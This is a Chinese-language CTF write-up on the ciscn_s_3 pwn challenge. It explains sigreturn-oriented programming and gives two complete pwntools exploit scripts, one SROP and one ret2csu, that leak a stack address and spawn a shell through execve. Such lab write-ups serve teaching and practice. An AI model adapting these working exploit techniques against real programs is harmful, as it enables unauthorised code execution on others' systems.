刚囫囵吞完 how2heap 想找些国赛题实操一下顺便准备下国赛,结果不小心点错题了(恼)
Anyway,能学到新东西就行
SROP
详细可以参考下面两篇文章,也可以去看发现者的 paper
简单来说,Linux 下的进程有一套信号处理机制:当处于 User Level 的进程接收到 signal 之后会触发软中断陷入到 kernel 中保存上下文(寄存器 + 栈)到一个叫做 sigFrame 的结构体中,然后回到 User Mode 执行 Signal Handler,等执行完毕后再次触发软中断执行 sigreturn 系统调用在 kernel 中恢复上下文并重新继续执行
然而 sigFrame 是保存在 User Level 中的,也就是说一旦条件满足我们可以无需提权就能随意篡改它
进一步而言,由于 sigFrame 中保存了 rip 这样重要的指令寄存器,所以我们可以通过篡改 / 伪造 / 串联 sigFrame 来控制执行流,这就是 SROP
要想利用 SROP 往往需要大量的溢出空间,估计实际场景中很难能遇到可以满足的条件
题目
静态分析
除了 NX 啥保护都没开,不放图了
vuln()
buf= byte ptr -10h
push rbp
mov rbp, rsp
xor rax, rax
mov edx, 400h ; count
lea rsi, [rsp+buf] ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_read
mov rax, 1
mov edx, 30h ; '0' ; count
lea rsi, [rsp+buf] ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_write
retn
read、write 两个系统调用,可溢出的空间也给得很慷慨,write 也毫不犹豫地泄露足了
gadget()
push rbp
mov rbp, rsp
mov rax, 15 ; syscall: sigreturn
retn
mov rax, 59 ; syscll: execve
retn
又是两个系统调用,sigreturn 就是进程恢复上下文所使用的系统调用
题目没给其他东西了
第一时间想到的是 ret2shellcode(开了 NX,不行),然后就是 ret2csu(已经有 syscall 了,利用 csu 改改寄存器就有了),然后是新学的 SROP(都明示 sigreturn 了)
动态分析
也没啥好分析的,最主要就是看 write 泄露出的内容和栈地址之间的联系和栈地址与/bin/sh
之间的偏移
比较坑的是自己 gdb 调的和 exploit 里泄露的栈结构居然不一样,就挺烦人的
exp1
pwntools 中有对 SROP 的支持,具体看代码
from pwn import *
# python2
context.arch = "amd64"
context.log_level = "debug"
io = process('./ciscn_s_3')
# io = remote('node4.buuoj.cn',27680)
vuln = 0x4004ed
syscall = 0x400517
sigretn = 0x4004da
payload = '/bin/sh\x00' * 2 + p64(vuln)
io.send(payload)
io.recv(0x20)
binsh=u64(io.recv(8)) - 0x148 # 0x118 for Ubuntu18(server env)
print(hex(binsh))
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload = '/bin/sh\x00'*2 + p64(sigretn) + p64(syscall) + str(frame)
io.send(payload)
io.interactive()
exp2
ret2csu 版本
巧妙之处在于在 pop 到 r12 时恰好指向 payload 写进栈内的 execve 地址binsh + 0x50
from pwn import *
# python2
io = process('./ciscn_s_3')
main = 0x4004ed
execve = 0x4004e2
pop_rdi = 0x4005a3
csu = 0x40059a
mov_rdx_r13_call = 0x400580
syscall = 0x400517
payload = '/bin/sh\x00' * 2 + p64(main)
io.send(payload)
io.recv(0x20)
binsh = u64(io.recv(8)) - 0x148
print(hex(binsh))
payload = '/bin/sh\x00' * 2 + p64(csu) + p64(0) * 2 + p64(binsh + 0x50) + p64(0) * 3
payload += p64(mov_rdx_r13_call) + p64(execve)
payload += p64(pop_rdi) + p64(binsh) + p64(syscall)
io.send(payload)
io.interactive()
Comments NOTHING